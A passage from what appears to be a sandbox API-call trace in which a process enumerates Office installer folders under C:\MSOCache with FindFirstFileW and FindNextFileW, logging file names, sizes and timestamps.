nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.922] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.922] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.922] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.923] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.923] GetProcessHeap () returned 0x470000 [0076.923] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3233098 | out: hHeap=0x470000) returned 1 [0076.923] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0076.923] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0076.923] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.923] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.923] FindClose (in: hFindFile=0x491ed8 | out: hFindFile=0x491ed8) returned 1 [0076.923] GetProcessHeap () returned 0x470000 [0076.923] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.925] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0076.925] GetProcessHeap () returned 0x470000 [0076.925] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.927] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.927] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0076.928] GetProcessHeap () returned 0x470000 [0076.928] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.928] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0076.928] GetProcessHeap () returned 0x470000 [0076.928] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.930] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0076.931] GetProcessHeap () returned 0x470000 [0076.931] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.931] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0076.931] GetProcessHeap () returned 0x470000 [0076.931] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0076.932] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0076.932] GetProcessHeap () returned 0x470000 [0076.932] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.932] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0076.932] GetProcessHeap () returned 0x470000 [0076.932] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.934] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.934] FindClose (in: hFindFile=0x32550c0 | out: hFindFile=0x32550c0) returned 1 [0076.935] GetProcessHeap () returned 0x470000 [0076.935] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32450a0 | out: hHeap=0x470000) returned 1 [0076.935] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0076.935] GetProcessHeap () returned 0x470000 [0076.935] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32550c0 [0076.936] FindNextFileW (in: hFindFile=0x32550c0, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 